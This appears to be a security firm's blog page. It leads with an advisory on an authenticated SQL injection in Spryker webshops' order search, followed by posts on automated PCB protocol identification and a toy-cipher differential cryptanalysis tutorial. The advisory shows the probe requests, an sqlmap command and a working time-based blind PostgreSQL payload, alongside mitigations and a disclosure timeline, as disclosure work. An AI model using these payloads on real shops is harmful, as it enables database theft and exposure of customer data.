Attackers with valid credentials for Spryker-based webshops are able to exploit
an SQL injection vulnerability in the order history search form. This allows
full access to the application’s database and the data stored within it. This
database will generally contain -- among other information -- personally
identifiable information. Disclosure of such data could lead to reputation
damage for the webshop's owner. In addition, the vulnerability might also pose
legal risks regarding General Data Protection Regulation (GDPR).
Depending on the configured authentication methods, the database will also
contain login information of customers and administrators. Administrative login
information (i.e. username and password hash) could enable attackers to extend
their privileges and access the shop's backend, where administrative actions
can be performed. In combination with the vulnerability described in
SCHUTZWERK-SA-2022-003/CVE-2022-28888 [1], remote command execution could also
be feasible from this position if access to the required environment variables
is possible. The login information of customers could be abused by attackers,
for example if credentials are re-used across different services.
Depending on the DBMS (database management system) in use, write access to the
database could theoretically also be possible. In this case, attackers can
create new users and grant them administrative privileges, again allowing for
privilege escalation. Also, once more depending on the DBMS, reading and
writing files on the file system of the DBMS or even direct execution of
arbitrary system commands could be possible.
The vulnerability can be easily detected, even through automated scanners, and
trivially exploited using tools such as sqlmap [2].
Description
===========
Structured Query Language, abbreviated as SQL, is a standardized programming
language for managing data held in a relational database management system and
performing various operations on the data stored in them. SQL injection
vulnerabilities occur when attacker-controlled data is embedded unchecked in
SQL queries. Such vulnerabilities allow attackers to bypass restrictions in the
application logic and issue manipulated queries to the database server.
Depending on various factors (database management system used, database user
permissions, etc.), it may be possible to read, modify and delete data and
compromise the database or application server.
The Spryker-based webshop examined as part of a customer assessment offers an
order history with a list of orders that have been placed in the past. While
testing this function, it was observed that a server-side error condition was
triggered when a single quotation mark (') was placed in the search term field.
The HTTP request that triggered this error condition is the following
(URL-decoded and shortened for increased readability):
GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]='&
orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&
orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&
orderSearchForm[orderDirection]=&orderSearchForm[reset]=&
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>
[...]
If the search term is instead comprised of two single quotation marks, the
server does not return an error message and successfully completes the search
operation:
GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]=''&
orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&
orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&
orderSearchForm[orderDirection]=&orderSearchForm[reset]=&
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>
[...]
This behavior with respect to the single quotation mark is often an indicator
of SQL injection vulnerabilities. As a next step, the sqlmap [2] utility was
used to partly automate the verification and exploitation phase:
% cat search.req
GET /de/customer/order?orderSearchForm%5BsearchType%5D=all&orderSearchForm%5BsearchText%5D=test*
&orderSearchForm%5Bfilters%5D%5BdateFrom%5D=&orderSearchForm%5Bfilters%5D%5BdateTo%5D=&
orderSearchForm%5Bfilters%5D%5Bcompany%5D=company&buttonSubmit=&orderSearchForm%5BorderBy%5D=&
orderSearchForm%5BorderDirection%5D=&orderSearchForm%5Breset%5D=&
orderSearchForm%5B_token%5D=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>
% sqlmap -r search.req --force-ssl --current-db
[...]
[10:37:12] [INFO] parsing HTTP request from 'search.req'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[10:37:12] [INFO] testing connection to the target URL
[...]
Parameter: #1* (URI)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: https://<redacted>:443/de/customer/order?orderSearchForm[searchType]
=all&orderSearchForm[searchText]=test')) AND 2882=(SELECT 2882 FROM PG_SLEEP(5)) AND
(('yIoB'='yIoB&orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=&
orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=&
orderSearchForm[orderDirection]=&orderSearchForm[reset]=&
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A
[10:37:14] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL (CockroachDB fork)
[10:37:14] [INFO] fetching current database
[...]
public
current database (equivalent to schema on PostgreSQL): 'public'
[...]
The URL parameter orderSearchForm[searchText] was marked with an asterisk in
the request to force sqlmap to focus on this parameter. sqlmap confirmed the
vulnerability and successfully extracted the name of the current database as
"public". Time-based blind SQL injection vulnerabilities are notoriously slow
to exploit. Nonetheless, it was still possible to extract the following list of
tables contained in the current database:
+--------------------------------------------------+
[...]
| spy_acl_group |
| spy_acl_group_archive |
| spy_acl_groups_has_roles |
| spy_acl_role |
| spy_acl_role_archive |
| spy_acl_rule |
| spy_acl_rule_archive |
| spy_acl_user_has_group |
| spy_auth_reset_password |
| spy_auth_reset_password_archive |
| spy_availability |
| spy_availability_abstract |
| spy_availability_storage |
[...]
+--------------------------------------------------+
Using the same method, access to the content of the different database tables
is possible.
Solution/Mitigation
===================
Updated versions of the affected modules have been released by the vendor and
should be applied.
In general, the following mitigation measures apply to SQL injection
vulnerabilities:
It is recommended to use so-called prepared statements with parameterized
queries. With this mechanism, user input is strictly separated from the actual
SQL query. It is then processed only as a string and not as part of the SQL
query. This makes it impossible for an attacker to modify the query itself.
The entire code base should be audited to determine at which other endpoints
SQL queries are generated and used. This should be followed by a migration to
prepared statements. The adaptation should be prioritized based on the risk.
For example, the risk of successful exploitation is significantly higher in the
login screen than in an administrative function that is not visible to normal
users of the application. Accordingly, the source code of the exposed functions
should be adapted first.
In some cases, parameterized queries cannot be used, for example, when the data
fields addressed by the query are dynamic. In such cases, frameworks, database
APIs, or the programming language itself provide functions that mask the inputs
appropriately so that they can be embedded in queries in a safe way. The SQL
injection security guidelines [3] of Spryker should also be considered.
Additional guidelines and recommendations regarding SQL injection are provided
in the SQL Injection Prevention Cheat Sheet [4] of OWASP.
Disclosure timeline
===================
2022-11-25: Vulnerability discovered as part of assessment for customer
2022-12-23: Vulnerablity details sent to vendor, vendor could not open details
due to S/MIME-related issues
2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form
2023-01-09: Vendor acknowledges receipt of report
2023-01-12: Vendor requests additional information related to customer's
configuration, SCHUTZWERK provides requested information
2023-01-13: Vendor requests additional information related to customer's
configuration
2023-01-16: SCHUTZWERK provides requested information
2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the
vulnerability and that a fix is in progress
2022-02-28: Vendor confirms that customers were notified about the vulnerability
2023-04-19: Vendor informed of intent to pushlish
2023-04-20: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by David Brown of
SCHUTZWERK GmbH.
References
==========
[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2022-003/
[2] https://github.com/sqlmapproject/sqlmap
[3] https://docs.spryker.com/docs/scos/dev/guidelines/security-guidelines.html#sql-injection
[4] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( https://www.schutzwerk.com ).
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRBN4IaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLruBixAAoq+FOe1zpWgek8vhcTO4
HiOIjTJJwKy+TTt12Av7iMN2vwmqEwB49iN9legPCAGZ43i7j2m+lxuYC25p2dF9
q6UZPW3fdbX1mbWrWOx/lM0EJdFjkSWkgSo4oSmpLK4Tra3Ox/6zwPgcVifMe9Ky
JJC2jHHw1gHjORUM3FmMmbDDcXEhfZTs94Dy+GdjpapsZiO7wZyq8XTTQHMTDWCZ
elhTW8NKaPiAzu1yfjB80U/lvV8rfoL0ud1pHC2Pz3bUxybXgNVXpNTrpWrGjj7j
NEhlkq7va0thyNF1nXsAzD7sjeNKIJ4xkA4WNmv+J7NJEiHttbGkiMQHH8cEMmBM
Q1Gn1orb+96NB0KtiyvlWMxkNPhnfJdgMMRbHWpSLrscaiEvECpHyOD6GrRz7/bc
RztvsBpSp/OeNGPesgVaokYJctJzuCD+EKgExxcfDGN2w58YTnaCZ4JGi+8jsrbY
GAp22fl4xBLhsoKOi8h4HufXQ1hYT8duGJ2BLqDHEelPidx+Yk4ssMmtvqtMtq5+
rL3iZiXyOmc0bqTU4X9rPFabMyK9II7aVNHrNQ/8MEFYo04LGLzNvwgDNCQY9MM5
tIzT/ATf7dB8Fy+/yKGDAteELzS2PkTjwv6sIeW6SZNGoz6g/Mt/S+yzPQnmGMjI
EYeXWOAZib8rqZC/UeSqlz4=
=6t5G
-----END PGP SIGNATURE-----

SCHUTZWERK sponsors the GERMAN OWASP DAY 2023

SCHUTZWERK GmbH — Fri, 10 Mar 2023 09:00:00 +0100

After a pause of several years the GERMAN OWASP DAY 2023 will take place in Frankfurt on the 30th and 31st of May 2023. SCHUTZWERK is an official sponsor of the event.

The GERMAN OWASP DAY 2023 will be hosted by the German OWASP Chapter. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting talks about secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented. We are looking forward to an interesting exchange on site.

Automated Voltage Signal Analysis and Protocol Identification

Florian Schmid — Wed, 08 Mar 2023 11:20:40 +0100

The previous blog post of the PROBoter series gave an insight on the automatic optical analysis for components mounted on the PCB. It introduced how the PROBoter attempts to localize all pins and components on the PCB.

This post focuses on the evaluation of voltage data measured on an operating PCB to gather information on the functionality and occurring communication. The list below gives an overview of the topics covered in this blog post series. The last link will be updated as soon as the corresponding part has been released.

PROBoter demo video
Part I: A platform for automated PCB analysis
Part II: The PROBoter hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

Time invariant protocol identification

Often, the missing knowledge about the communication protocols used on a Printed Circuit Board (PCB) is the only form of protection which prevents an attacker from decoding voltage signals into data for eavesdropping or injection of malicious data.

This article introduces the algorithm of the “Time Invariant Signal Analysis”, which the PROBoter uses to produce information on the functionality of the conducting paths identified on a PCB from passive eavesdropping. Using the gathered information, promising targets can be identified to perform a command injection or interact with a debug shell.

The algorithm is mainly based on a statistical analysis of the voltage signal, which makes the analysis time invariant. The determined characteristics are evaluated for the identification of the functionality, the data transmission protocol and, in case of UART and SPI, the transmission parameters.

Currently, the algorithm provides the following functionality:

Identification of a line’s functionality from its voltage data, e.g., ground, voltage supply, communication control, clock line or data transmission
Linking the datasets for synchronous data transmissions (consisting of a clock line and one or several data transmission lines)
Discerning four types of protocols:
- UART
- OneWire
- I²C
- SPI
Identification of the used data transmission parameters for the following protocols:
- UART
  - Baud rate
  - Amount of data bits per frame
  - Amount of stop bits per frame
  - Usage of parity bit
  - Identification if the signal line is inverted
- SPI
  - Identification of the clock polarity
  - Identification of the clock phase

The algorithm depends on frequent changes of the voltage states of the signals. Therefore, it works better with signals generated from real transmissions than signals based on theoretical edge cases with a low amount of changes.

The following sections guide the reader through the steps performed by the PROBoter platform, from the generation of data, used evaluation methods, identification of the functionality and protocols, finishing with the output of the analysis. For details on the algorithm, please see the original Master thesis with the title Algorithm for identification of bus protocols. [1].

Data acquisition

For the identification of the protocols, the PROBoter has been equipped with a digital oscilloscope. The two analog input channels of the oscilloscope are connected to the measurement probes of the PROBoter, which allows the free positioning of the probes on the PCB and measurement of the voltages during operation. The duration and time resolution of the measurement is defined by user input. The start of each measurement is synced with the moment of supplying the target PCB with power. This allows a correlation of events for the measurement of several voltage lines.

For each measurement, the voltage data are stored as dataset in a list of values together with the time interval of the measurement. When all promising datasets were measured, the newly developed “Time Invariant Signal Analysis” algorithm starts the evaluation.

Evaluation of dataset characteristics

For each of the measured datasets, prominent characteristics are initially identified. This evaluation process is performed in three analysis steps:

Determination of characteristics of the voltage distribution
Determination of characteristics for the durations of voltage states (after noise removal by using filters)
- Generation of histograms from the state durations
- Performing a delta analysis
Detection of repeating patterns

Subsequently, the algorithm uses these results to classify the functionality of the evaluated voltage signal, e.g.: ground, power supply or involved in data exchange.

Analysis of the Voltage Distribution

The first module of the algorithm uses the list of measured voltage levels to generate a histogram. From this it gets two characteristics for the voltage distribution:

The algorithm succeeds to identify the most common voltage levels. These should be identical to the levels of the upper and lower voltage for a binary voltage signal.
By the width of the voltage peaks, the algorithm gains information on the amount of voltage values around the upper and lower voltage level, and therefore the changing behavior for the voltage.

The amount and the width of the voltage peaks from the voltage histogram are first pieces of information which can be used for the identification of a voltage signal since they provide data on the most common voltage levels and change characteristics.

Comparing voltage distribution histograms

The following plot shows an exemplary voltage for an SPI transmission:

Voltages over time of an SPI transmission

The resulting histogram of occurring voltages for the SPI transmission shows transition voltages between the two dominant voltage levels.

Voltage histogram of an SPI transmission.

For comparison, the signal for an UART transmission shows a stronger distinction between low and high voltage states.

Voltages over time of an UART transmission.

In the histogram, this leads to a low amount to no transition voltage values.

Voltage histogram of an UART transmission.

Event interval analysis

The second analysis step focuses on the evaluation of the durations of the voltage states. The algorithm identifies the moments for each voltage state change and calculates the durations of each state. Then, it uses this list of durations as input for the generation of histograms and a ‘delta analysis’. The following sections describe the process steps performed for the interval analysis.

Finding events

For finding moments of events at which the voltage signal changes from an upper to a lower voltage state or vice versa, the definition of Schmitt triggers is used. The Schmitt triggers are voltage limits set at 30% and 70% of the maximum voltage. When a voltage passes the 70% upwards or passes the 30% downward, the moment of passage shall act as significant trigger point.

Generation of List of Event Durations

To produce a statistical overview of voltage states durations, the algorithm marks each change of voltage state in a first run, producing an array of incidents, and calculates the time intervals and directions between two changes. The array comprises the shorter durations caused by signal activities as well as long durations caused by signal inactivity. The durations of inactivity can be larger than the durations of activity by several magnitudes while occurring more rarely.

This list (hereinafter referred to as ‘interval array’) presents the central source of information for the following two analysis mechanisms: Incident histograms and the delta analysis, which are described in the following sections below.

Generation of an Event Histogram

The algorithm produces histograms for single and for two consecutive voltage states (‘single incident histogram’ and ‘double incident histogram’).

Denoting a significant voltage change as an “event”, the time interval between two of these incidents are plotted along the horizontal axis in nanoseconds, while the amount of intervals which feature this duration, are plotted along the vertical axis. Voltage states which are followed by a voltage increase are plotted along the positive vertical axis, while the voltage states which are followed by a voltage decrease are plotted along the negative vertical axis.

The following is an incident histogram plot from a clock line which features high and low voltage states of quasi identical duration, leading to one significant peak for the positive and negative vertical axis each.

Incident histogram of an SPI data signal.

For comparison, the following is an incident histogram plot from a data transmission line, which features voltages states of varying durations.

Incident histogram of an SPI data signal.

Finally, generating an incident histogram from the voltage data of a ground line does produce a noisy plot with high peaks for durations of $t ≈ 0~\mathrm{ns}$.

Incident histogram of an SPI data signal.

The first peak in the event histogram is a reoccurring significant duration. Usually, it is equivalent to the duration required to transmit a single bit. Thus, the duration at this first peak is expected to be the duration of one symbol.

For the generation of a double incident histogram, the durations of two consecutive entries of the interval array are used. This double incident histogram then shows the sum of two durations, which generates a single peak e.g., for clock signals or protocols based on Pulse Width Modulation (PWM).

The location and amount of peaks generate information about the repetition of events, which is used for the identification of the line’s functionality as well as the protocol type.

The delta analysis

The delta analysis is a newly developed time-invariant method for finding reoccurring duration patterns. It bases on the mathematical foundations of Min-Plus and Max-Plus calculus [2], which Thiele et al. use for their description of tasks arriving at and being processed by an embedded system [3].

The theory describes a sequence of arising events $r$ which occur within a time interval $[t, t + \Delta]$. Thus, the set of occurring events can be described as a function $r(t, t + \Delta)$. The minimum and maximum amount of events occurring within the interval $ \Delta $ can be enclosed by the two limiting functions $\alpha^u$ and $ \alpha^l $ for the upper and lower limit. Consequently: $$\alpha^l(t, t + \Delta) \le r(t, t + \Delta) \le \alpha^u (t, t + \Delta).$$

As shown in the following plot, identifying the minimum and maximum amount of events occurring within an increasing duration $\Delta t$, the amount of events increases when increasing the duration:

The figure shows a plot of the staircase functions which are based on the increasing amount of events.

Mathematically, using a sliding window with the time interval $\delta^i$, $i=u,l$, the upper and lower amount of events $N^i$, $i=u,l$ found within this interval increases when the time interval gets increased.

The figure shows a plot of the staircase functions which are based on the increasing amount of events.

For the PROBoter, the data contained in the interval array is used as input, since it contains the intervals between two changes of voltage states, which are also considered as events.

Plotting the data results in staircase functions with short steps for short intervals between changes and prolonged steps for intervals without change events. Prolonged steps repeating after an amount of shorter steps are a clue for a repeating pattern of transmission pauses.

The following is an exemplary plot of a SPI clock line which shows pauses between the transmission of data frames.

Voltage-time plot of an SPI clock signal.

In the delta analysis plot below these lead to the prolonged steps in the delta analysis plot using the infimum amount of events:

Delta analysis plot of an SPI clock signal.

Pattern analysis

Some transmission protocols contain a repeating pattern which is used for synchronization between the communication partners. In case of the UART protocol, this pattern consists of one or two stop bit voltage-states followed by a start bit voltage state.

For a voltage signal, the occurrence of such a pattern can be unveiled by emphasizing the self-similarity of the signal. This is done by the autocorrelation function for a signal $r_{xx}$ consisting of $N$ values at index $m$: $$r_{xx}[m] = \frac{1}{N-|{m}|}\sum_{n=|m|}^{N-1}x[n]\ x[n-|m|]$$

A signal with an ideal repeating pattern creates high and regularly occurring peaks in the autocorrelation plot.

Larger datasets contribute to a better distinction between peaks and background noise as shown in the following exemplary autocorrelation plot for an UART transmission:

Autocorrelation plot for an UART transmission.

Identification of the signal type

For classifying the signal type for each dataset, the algorithm uses two sources of information: The extent of found voltage levels and the amount of reoccurring durations.

In total, the algorithm discerns five types of signals:

Signals with one elevated peak in the voltage histogram and only noise in the incident histogram usually occur for lines used as power supply.
Signals with a peak at a low voltage in the voltage histogram and only noise in the incident histogram, probably stem from a ground connection.
Signals with usually two peaks in the voltage histogram but no peaks in the incident histogram are considered as sporadic signals, which are used for communication control, as for deciding which partner is currently allowed to send messages on a data line.
Signals with usually two peaks in the voltage histogram and a single positive and negative peak each in the incident histogram are considered as periodic signals, as typical for clock signals.
Signals with usually two peaks in the voltage histogram and several peaks in the incident histogram are burst signals occurring often and irregularly, which are a typical behavior for the transmission of data.

Linking of datasets from synchronous data transmissions

For all the previously described analysis steps, the algorithm considered each dataset for itself. Since protocols like SPI and I²C do consist of a combination of a clock and data signals, the algorithm needs to link the involved datasets to a single signal group.

The algorithm uses two lists for the linking process: A list containing the identified clock signals, and a list containing the identified data signals.

To test if a data and a clock signal were generated from the same transmission, the algorithm uses two pieces of information from each dataset:

The activities on the data line have to occur during the intervals of activities of the clock line,
The duration of a symbol on the data line has to be similar to the duration of one signal period on the clock line.

Characteristics for linking datasets from a synchronous data transmission.

The data-datasets which have not been attributed to a synchronous transmission are expected to have been generated by an asynchronous transmission protocol, e.g., UART or OneWire.

Protocol Identification / Rating

To perform the protocol identification process, the algorithm compares the properties found in each signal group with a list of properties expected for each of the implemented protocol types (currently UART, OneWire, SPI and I²C).
The list of properties is based on the specifications of the used protocols. The properties used for the distinction of protocols are the:

amount of involved datasets
amount of dominant voltage levels
occurring voltage range $U_{\mathrm{min}}$ … $U_{\mathrm{max}}$
steepness of voltage state transitions
data transmission speed
maximum duration for occurring voltages during signal transmission
duration of transmission blocks
occurrence or absence of a repeating (synchronization) pattern
check for symmetry of the durations of high and low voltage states
check if the duration of voltage states are an integer multiple of the duration of one symbol

The following table shows an overview of characteristics of the protocols implemented in the algorithm together with characteristics of additional protocols, which are also popular in the automotive field.

Identified characteristics of the protocols.

To identify the best fitting protocol, a counter is used. For each characteristic that is fulfilled by the measured data, the counter is increased; for each deviation, the value of the counter is reduced.

If a protocol is implemented to contain a data and a clock line, the algorithm tries to evaluate the properties for each measured dataset contained in a data group; for a missing dataset, the counter is reduced to prevent an identification as incomplete transmission protocol.

After each comparison, the counter result is stored. When the dataset has been compared with all known protocols, the algorithm returns all comparison counters.

Identification of Encoding Parameters

If the algorithm detects that the original encoding of a signal group is a UART or SPI protocol, the algorithm starts the respective module to identify the used transmission parameters.

Identification of the UART Protocol Parameters

In case of the UART protocol, the algorithm identifies the signal polarity, baud rate, frame length, amount of stop bits and parity bits. Since the quality of the identification strongly depends on the correct identification of the Start-Stop-bit pattern, a signal with a larger amount of changes generates more accurate results.

Polarity Inversion of Signal Line

Initially, the algorithm identifies the voltage state of the longest constant voltage. The algorithm expects that the voltage of the longest state is equivalent to the voltage of the default, inactive, voltage. In case of a non-inverted UART protocol, the voltage of the inactive state is expected to be logically high, while in case of a polarity inversion of a UART based transmission, the default voltage has to be logically low.

Identification of Baud Rate

The algorithm deduces the baud rate of the UART protocol based on the identified symbol duration of the dataset. For this purpose, it retrieves this information from getting the duration value of the first peak in the single event histogram.
For converting the symbol duration to the baud rate, the algorithm uses the inverse value of the duration, so that $$f_{\mathrm{baud}} = \frac{1}{t_{\mathrm{symbol}}}$$

The algorithm then rounds the calculated value to the next common baud rate before returning it to the user.

Amount of Stop Bits in UART

After having converted the voltage states into logical bits, the algorithm searches for the periodic occurrence of two types of patterns of logical bits in an interval of signal activity: bitpattern = b110 for an amount of two stop bits, and bitpattern = b10 for an amount of a single stop bit.

If either search for the patterns is successful, the algorithm expects to have found the correct pattern. If none of both patterns seem to occur regularly, the algorithm cannot identify the amount of stop bits. Therefore, it can neither determine the actual amount of bits in a frame nor the existence of a parity bit.

Check for Parity Bit Implementation

To determine if a parity bit is used for a UART signal, the algorithm converts the voltage signal into a sequence of logical bits first. Based on the information about the amount of used stop bits, it tests if the last voltage state between the start and stop bits appears to act as check bit for parity.

For an even parity, the combination of the last bit with the remaining bits of each evaluated frame shall be even. For odd parity, the total combination shall be odd.

Since transmission errors are common, if more than 90% of the evaluated data frames result as having an even or odd data bit, the function returns this result.

Amount of Data Bits per Frame

To calculate the amount of data bits per frame, the algorithm uses the original occurrence distance of the autocorrelation-pattern and subtracts the sum of identified start and stop bits as well as the existence of the parity bit, if any is used. Again, also this result of the evaluation is stored as property of the signal-group object.

Identification of the SPI Protocol Parameters

For the SPI protocol, there are only two parameters which are chosen before starting the transmission and generating a signal: The clock polarity and the clock phase.

Identification of Clock Polarity

The clock polarity defines whether the voltage of the clock signal is high or low during the inactive state. Therefore, similar to the identification of the polarity of the UART protocol described in the previous section, the clock polarity-function checks for the voltage of the longest duration without any activity. If this voltage is at the low voltage level, the returned clock polarity is polarity = 0, whereas if it is at the upper voltage, the returned clock polarity is polarity = 1.

Identification of Clock Phase

The clock phase characteristic describes at which edge of the clock signal the voltage state of the data signal is supposedly read out by the addressee component. Since the voltage signal of the data line is supposed to be stable around the timing of the voltage state evaluation, the edge for which the algorithm finds fewer changes probably is the edge for which the evaluation is triggered and therefore defines the clock phase. For this reason the algorithm checks the amount of voltage changes of the signal line which happen around the timings of the rising as well as around the falling edges of the clock line and stores those in lists each.
If the addressee reads the data at a falling clock edge, the clock phase CPHA = 1, while reading the voltage state at a rising clock edge, the clock phase CPHA = 0.

Generation of test data

For generating the data for development and testing the algorithm, two pieces of hardware were used: An USB-UART-converter to generate UART terminal signals, and an Arduino board which allowed the eavesdropping of voltage signals while the board accesses memory components which use the SPI and I²C protocol for data transmission. Additionally, the generation of voltage signals using the OneWire protocol has been implemented on the board.

For all protocols, messages with various lengths, transmission speeds and, where applicable, transmission parameters were generated and recorded for evaluation.

Evaluation Results

The algorithm correctly grouped and identified the protocols of 53 of the 54 prepared data set samples. The sample for which the identification algorithm fails to correctly identify the sample, is a long message transmitted at 500kBaud based on the UART protocol.

The failed identification is caused by a false linking of the UART-based sample to an SPI transmission. Yet, this mismatch is caused by a side effect when identifying larger amounts of datasets. If the algorithm only receives the datasets affected in the mismatch, it groups and identifies the involved datasets correctly.

Additionally, for a selected range of samples, the algorithm proves to correctly link the clock and data signals of 24 datasets, which only differ by variation in the offsets of start and end time.

For all of the 15 test-specific samples based on the UART protocol, the algorithm correctly identifies the existence and type of the parity bit, amount of stop bits and amount of data bits per frame. For all of the 18 test specific samples based on the UART protocol, it correctly identifies the baud rate used for the generation of the signal.

For SPI-based transmissions, samples without any modifications to the clock phase and polarity were generated. The algorithm correctly identifies the polarity for all of the 12 samples and the phase for 11 of the 12 samples.

In summary, the algorithm shows a reliable fully automatic identification and grouping for almost all the investigated dataset samples: The single case of wrong identification is only triggered if the affected sample is evaluated as part of a larger amount of samples. Therefore, the current influence of additional samples on the linking of signals has to be further investigated.

Outlook

Even though the identification algorithm is able to group and identify signals and their originating protocols, the current version of the algorithm can be further improved: Currently, the amount of processable data is limited due to an inflation of the data in the working memory. To improve the performance, the functions which currently demand much of the computer resources are planned to be optimized.

In extension to improving the processing performance, also the size of incoming and processed data can be reduced to increase the amount of processable datasets. This is planned to be achieved by a reduction of the resolution, measurement duration and, as far as it is possible, aggregating sequences of measurement data which show the same voltage levels: Currently, the algorithm runs blind measurements, without any information on the required measurement duration and resolution in time. Both pieces of information can be acquired based on the observation of voltage changes: The measurement duration can be defined on a minimum amount of changes required for running the statistical evaluation, and the resolution should be a certain multiple of the shortest time interval found between two changes of voltage states. This evaluation is not yet implemented so that resulting parameters could then be used as parameters for the actual measurement.

And finally, for extending the field of application of the algorithm, it shall be extended with the functionality to work out further characteristics of voltage signals. This allows the identification of additional signals based on protocols like the ones which are introduced in this blog post, but not implemented into the algorithm, yet.

After the introduction to the signal analysis process, the upcoming post about the PROBoter software framework will provide an insight into the software components. This will cover the list of involved modules, their interfaces and functionality which is implemented in the project.

References / Credits

[1] Florian Schmid. Algorithm for identification of bus protocols , Masterthesis, Ruhr-Universität Bochum, Universitätsbibliothek, 2022.
[2] Raymond A Cuninghame-Green. Lecture Notes in Economics and Mathematical Systems, volume 166. Springer Science & Business Media, 1979.
[3] Lothar Thiele, Samarjit Chakraborty, and Martin Naedele. Real-time calculus for scheduling hard real-time systems. In 2000 IEEE International Symposium on Circuits and Systems (ISCAS), volume 4, pages 101–104. IEEE, 2000.

This work was sponsored by the BMBF project SecForCARs . We also want to thank igus GmbH for their support and providing hardware samples. The project was created at SCHUTZWERK GmbH (supervisors Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with the the Faculty of Computer Science at the Ruhr Universität Bochum (examiners Prof. Dr.-Ing. Christof Paar & M. Sc. Endres Puschner).

SCHUTZWERK at Embedded World 2023

SCHUTZWERK GmbH — Tue, 17 Jan 2023 09:00:00 +0100

SCHUTZWERK will be present at Embedded World in Nuremberg from March 14-16, 2023. Embedded World is the trade fair for experts along the entire value chain of embedded systems. Visit our booth 4-104c in hall 4 and see our PROBoter in action. We will be happy to present our services in the area of Embedded Security Assessments and explain which vulnerabilities we can uncover from silicon to the cloud. For example, learn more about the possibilities of SoC-specific analyses or attack vectors using power glitching and power analysis. We look forward to your visit. Make a reservation for a discussion at our booth in advance or ask for a free ticket by e-mail to info@schutzwerk.com .

Differential Cryptanalysis of a Single-Round SPN

Dr. Henning Kopp — Fri, 23 Sep 2022 11:50:36 +0200

The design of block ciphers is usually seen as a specialist topic. Consequently, knowledge is mostly preserved in academic papers and there are only few introductory tutorials. We aim to fill this gap between the IT security practitioner and the block cipher designer. In this blog series we introduce differential cryptanalysis with a hands-on approach. Our target group are IT security practitioners and programmers without a deep knowledge of math.

The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

Part 1: Design of Modern Symmetric Ciphers
Part 2: Differential Cryptanalysis of a Single-Round SPN
Part 3: Differential Cryptanalysis of a Multi-Round SPN

Introduction

Differential cryptanalysis is a type of cryptographic attack on the design of a cipher. It was introduced by Biham and Shamir in the late 80s. However, later it was revealed that differential cryptanalysis was already known to IBM when they designed DES – the first public standardized algorithm for encrypting data.

Differential cryptanalysis is a chosen plaintext attack, i.e., the attacker can query encryptions of a plaintext and has to recover the key. This is formally modeled by querying a so-called chosen-plaintext oracle. In practice it does not matter how the oracle works exactly, but it somehow has to provide the ciphertext, given a plaintext. This setting is part of the attack scenario. The main idea of differential cryptanalysis is to trace differences of plaintexts through the encryption algorithm. In the ideal case, for a given difference of inputs each difference of outputs has the same probability of occurrence. However, due to mathematical reasons that ideal situation can never be the case. If the deviations from that ideal probability are too large they can be exploited and the key can be recovered.

In this blog post we introduce a toy cipher on which we demonstrate the principles of differential cryptanalysis. We implemented our attack in Python in order to raise the understanding of differential cryptanalysis.

Our Toy Cipher

In this section we describe the design of our toy cipher which we attack below using differential cryptanalysis. Further, we give a short security discussion.

Design

The toy cipher analyzed in this post follows the Even-Mansour scheme which we have already discussed in the first post of this series . In some sense this is the simplest cipher which can be proven secure in some formal model.

The block size of our toy cipher is 4 bits. The key consists of 8 bits. This key is split into two halves, k0 and k1 of 4 bits each. Additionally the cipher contains an S-box. The S-box is basically a table lookup that maps a 4 bit input to a 4 bit output.

Encrypting an input block of 4 bit length requires the following steps:

Xor the plaintext input with the first key k0.
Feed the output of the previous step into the S-box.
Xor the output of the previous step with k1.

The output of the last step is the cipher text.

The image below shows the steps of the encryption routine as a circuit. As usual, the data flow is from top to the bottom.

The schematic design of our toy cipher

Creating the concrete values for the S-box was done using a dice. This generally leads to an insecure S-box, which is perfect for illustrating differential cryptanalysis. In general, for modern ciphers the values of the S-boxes are chosen very carefully in order to impede attacks such as the differential cryptanalysis we show in this post.

Below is the Python code which implements encryption with our toy cipher.

sbox = [12, 2, 13, 14, 3, 10, 0, 9, 5, 8, 15, 11, 4, 7, 1, 6]
def round_function(input, key):
return sbox[key ^ input]
def encrypt(input, key0, key1):
return round_function(input, key0) ^ key1

Security Discussion

A naive security analysis shows that it is possible to brute-force the key of the cipher. As the key consists of only 8 bits there are 256 possible keys in total.

